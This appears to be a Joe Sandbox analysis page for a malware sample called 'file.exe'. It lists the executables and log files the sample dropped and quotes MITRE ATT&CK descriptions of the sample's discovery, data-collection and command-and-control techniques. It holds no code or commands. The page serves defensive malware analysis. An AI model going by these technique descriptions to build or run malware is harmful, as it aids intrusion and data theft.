Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CT1ROX8L8OCI432H.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QEDBGN5ZBSJ2P7FMKVJ.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre